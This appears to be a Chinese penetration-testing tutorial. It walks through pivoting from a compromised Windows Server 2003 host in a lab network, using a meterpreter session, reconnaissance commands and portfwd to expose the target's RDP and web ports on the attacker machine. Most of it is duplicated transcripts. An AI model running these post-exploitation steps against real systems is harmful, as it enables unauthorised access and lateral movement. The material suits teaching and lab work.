

专注APT攻击与防御

<https://micropoor.blogspot.com/>

**注：**请多喝点热水或者凉白开，可预防**肾结石**，**痛风**等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

portfwd是一款强大的端口转发工具，支持TCP，UDP，支持IPV4--IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下：

<https://github.com/rssnsj/portfwd>

**攻击机：** 192.168.1.5          Debian  
**靶机：**    192.168.1.4          Windows 7  
          192.168.1.119      Windows 2003

```
1 msf exploit(multi/handler) > sessions -l
2
3 Active sessions
4 =====
5
6 Id Name Type Information Connection
7 ---
8 1 meterpreter x86/windows WIN03X64\Administrator @ WIN03X64
9 192.168.1.5:45303 -> 192.168.1.119:53 (192.168.1.119)
10
11 msf exploit(multi/handler) > sessions -i 1 -c 'ipconfig'
12 [*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119)
13
14 Windows IP Configuration
15
16 Ethernet adapter 本地连接:
17
18 Connection-specific DNS Suffix . :
19 IP Address. . . . . : 192.168.1.119
20 Subnet Mask . . . . . : 255.255.255.0
21 Default Gateway . . . . . : 192.168.1.1
22
```

```

msf exploit(multi/handler) > sessions -l

Active sessions
=====
  Id  Name  Type           Information                               Connection
  --  ---  ---           -
  1   meterpreter x86/windows WIN03X64\Administrator @ WIN03X64 192.168.1.5:45303 -> 192.168.1.119:53 (192.168.1.119)

msf exploit(multi/handler) > sessions -i 1 -c 'ipconfig'
[*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119)

Windows IP Configuration

Ethernet adapter 本地连接:

    Connection-specific DNS Suffix  . : 
    IP Address. . . . .               : 192.168.1.119
    Subnet Mask . . . . .             : 255.255.255.0
    Default Gateway . . . . .         : 192.168.1.1

```

靶机IP为：192.168.1.119---windows 2003---x64

需要转发端口为：80，3389

```

1 msf exploit(multi/handler) > sessions -i 1
2 [*] Starting interaction with 1...
3
4 meterpreter > shell
5 Process 4012 created.
6 Channel 56 created.
7 Microsoft Windows [版本 5.2.3790]
8 (C) 版权所有 1985-2003 Microsoft Corp.
9
10 C:\Documents and Settings\Administrator\桌面>if defined PSMODULEPATH
(echo ok!) else (echo sorry!)
11 if defined PSMODULEPATH (echo ok!) else (echo sorry!)
12 sorry!
13
14 C:\Documents and Settings\Administrator\桌面>net config Workstation
15 net config Workstation
16 计算机名 \\WIN03X64
17 计算机全名 win03x64
18 用户名 Administrator
19
20 工作站正运行于
21 NetbiosSmb (000000000000)
22 NetBT_Tcpip_{37C12280-A19D-4D1A-9365-6CBF2CAE5B07} (000C2985D67D)
23
24 软件版本 Microsoft Windows Server 2003
25

```

```
26 工作站域 WORKGROUP
27 登录域 WIN03X64
28
29 COM 打开超时 (秒) 0
30 COM 发送计数 (字节) 16
31 COM 发送超时 (毫秒) 250
32 命令成功完成。
33
34
35 C:\Documents and Settings\Administrator\桌面>netstat -an|findstr "LISTENING"
36 netstat -an|findstr "LISTENING"
37 TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
38 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
39 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
40 TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
41 TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
42 TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING
43 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
44 TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING
45 TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING
46 TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING
47 TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING
48 TCP 192.168.1.119:139 0.0.0.0:0 LISTENING
49
```

```

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 4012 created.
Channel 56 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\桌面>if defined PSModulePath (echo ok!) else (echo sorry!)
if defined PSModulePath (echo ok!) else (echo sorry!)
sorry!

C:\Documents and Settings\Administrator\桌面>net config Workstation
net config Workstation
计算机名                \\WIN03X64
计算机全名              win03x64
用户名                  Administrator

工作站正运行于
    NetbiosSmb {000000000000}
    NetBT_Tcpip_{37C12280-A19D-4D1A-9365-6CBF2CAE5B07} {000C2985D67D}

软件版本                Microsoft Windows Server 2003

工作站域                WORKGROUP
登录域                  WIN03X64

COM 打开超时 (秒)      0
COM 发送计数 (字节)    16
COM 发送超时 (毫秒)    250
命令成功完成。

C:\Documents and Settings\Administrator\桌面>netstat -an|findstr "LISTENING"
netstat -an|findstr "LISTENING"
TCP    0.0.0.0:80           0.0.0.0:0           LISTENING
TCP    0.0.0.0:135          0.0.0.0:0           LISTENING
TCP    0.0.0.0:445          0.0.0.0:0           LISTENING
TCP    0.0.0.0:1025         0.0.0.0:0           LISTENING
TCP    0.0.0.0:1026         0.0.0.0:0           LISTENING
TCP    0.0.0.0:3078         0.0.0.0:0           LISTENING
TCP    0.0.0.0:3389         0.0.0.0:0           LISTENING
TCP    0.0.0.0:9001         0.0.0.0:0           LISTENING
TCP    127.0.0.1:2995       0.0.0.0:0           LISTENING
TCP    127.0.0.1:9000       0.0.0.0:0           LISTENING
TCP    127.0.0.1:9999       0.0.0.0:0           LISTENING
TCP    192.168.1.119:139   0.0.0.0:0           LISTENING

```

```

1 meterpreter > portfwd -h
2 Usage: portfwd [-h] [add | delete | list | flush] [args]
3
4
5 OPTIONS:
6
7 -L <opt> Forward: local host to listen on (optional). Reverse: local
  host to connect to.
8 -R Indicates a reverse port forward.
9 -h Help banner.
10 -i <opt> Index of the port forward entry to interact with (see the "l
  ist" command).

```

```
11 -l <opt> Forward: local port to listen on. Reverse: local port to connect to.
12 -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
13 -r <opt> Forward: remote host to connect to.
14
```

```
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-R       Indicates a reverse port forward.
-h       Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.
```

## 攻击机执行：

```
1 meterpreter > portfwd add -l 33389 -r 192.168.1.119 -p 3389
2 [*] Local TCP relay created: :33389 <-> 192.168.1.119:3389
3 meterpreter > portfwd add -l 30080 -r 192.168.1.119 -p 80
4 [*] Local TCP relay created: :30080 <-> 192.168.1.119:80
5 meterpreter > portfwd
6
7 Active Port Forwards
8 =====
9
10 Index Local Remote Direction
11 -----
12 1 0.0.0.0:33389 192.168.1.119:3389 Forward
13 2 0.0.0.0:30080 192.168.1.119:80 Forward
14
15 2 total active port forwards.
```

```
meterpreter > portfwd add -l 33389 -r 192.168.1.119 -p 3389
[*] Local TCP relay created: :33389 <-> 192.168.1.119:3389
meterpreter > portfwd add -l 30080 -r 192.168.1.119 -p 80
[*] Local TCP relay created: :30080 <-> 192.168.1.119:80
```

```
meterpreter > portfwd

Active Port Forwards
=====

  Index  Local          Remote          Direction
  ----  -
  1      0.0.0.0:33389  192.168.1.119:3389 Forward
  2      0.0.0.0:30080  192.168.1.119:80  Forward

2 total active port forwards.
```

查看攻击机LISTEN端口：转发已成功

```
1 root@John:~# netstat -ntlp |grep :3
2 tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby
3 tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby
4
```

```
root@John:~# netstat -ntlp |grep :3
tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby
tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby
root@John:~#
```

Windows 7 分别访问攻击机33389，30080，既等价访问靶机3389，80





## 建设中

您想要查看的站点当前没有默认页。可能正在对它进行升级和配置操作。

请稍后再访问此站点。如果您仍然遇到问题，请与网站的管理员联系。

---

如果您是网站的管理员，并且认为您是由于错误才收到此消息，请参阅 IIS 帮助中的“启用和禁用动态内容”。

### 请访问 IIS 帮助

1. 单击**开始**，然后单击**运行**。
2. 在**打开**文本框中，键入 `inetmgr`。将出现 IIS 管理器。
3. 从**帮助**菜单，单击**帮助主题**。
4. 单击**Internet 信息服务**。

- Micropoor